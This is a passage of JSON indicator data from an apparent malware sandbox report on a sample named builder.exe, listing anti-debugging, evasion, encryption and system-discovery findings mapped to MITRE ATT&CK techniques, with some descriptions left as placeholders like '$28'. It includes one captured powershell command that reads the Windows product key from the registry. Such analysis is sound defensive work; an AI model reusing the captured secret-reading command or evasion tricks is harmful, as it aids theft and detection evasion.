\"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002000.00000001.177576.64110000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006940.00000000.176844.00821000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006940.00000001.176861.00821000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at D8AD0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"builder.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"builder.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"net1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\SIDEBYSIDE\")\n \"net1.exe\" (Access type: \"QUERY\"; Path: \"HKLM\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\OLE\")\n \"net1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\OLE\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\OLE\\FEATUREDEVELOPMENTPROPERTIES\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\LOCAL SETTINGS\")\n \"net1.exe\" (Access type: \"QUERY\"; Path: \"HKCU\\LOCAL SETTINGS\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\LOCAL SETTINGS\\SOFTWARE\\MICROSOFT\\OLE\\FEATUREDEVELOPMENTPROPERTIES\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\LOCAL SETTINGS\\SOFTWARE\\MICROSOFT\\OLE\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\LOCAL SETTINGS\\SOFTWARE\\MICROSOFT\")\n \"net1.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\OLE\\TRACING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"builder.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"builder.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"builder.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00006940.00000001.176861.00821000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"builder.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"builder.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006940-45045-168-00822F68\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006940-45045-213-00824B17\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006940-45045-600-00827500","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero\n Raw size of \"CPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002000.00000001.177576.53940000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"BCryptGenRandom\" (Indicator: \"BCryptGenRandom\"; File: \"builder.exe\")\n Found api reference \"BCryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"builder.exe\")\n Found api reference \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"builder.exe\")\n Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"builder.exe\")\n Found api reference \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"builder.exe\")\n Found api reference \"CertOpenStore\" (Indicator: \"CertOpenStore\"; File: \"builder.exe\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"builder.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002000.00000001.177576.53940000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002000.00000001.177576.539C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"builder.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"builder.exe\")\n Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001732.00000000.176002.A0DA0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003884.00000000.176630.B15B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002000.00000001.177576.49F50000.00000004.mdmp\")\n Found string \"Validation of public key failed.\" (Indicator: \"public key\"; Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"private key\"; Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.99066","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2c","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2d","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; File: \"Camera.exe\")\n file/memory contains long string with (Indicator: \"github.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"builder.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001004-00000C2C-935179076\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001004-00000C2C-936293183\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001004-00000C2C-935179076\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001004-00000C2C-936293183\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"builder.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"builder.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00006940-00000C2C-932955817\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"builder.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"builder.exe\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"builder.exe\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001004-00000C2C-936961438\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found string \"EnumServicesStatusExW\" (Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"builder.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve Windows product key","description":"Found string \"/c \"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault\"\" (File: \"cmd.exe\")\n Found string \"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault\" (File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-694","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment 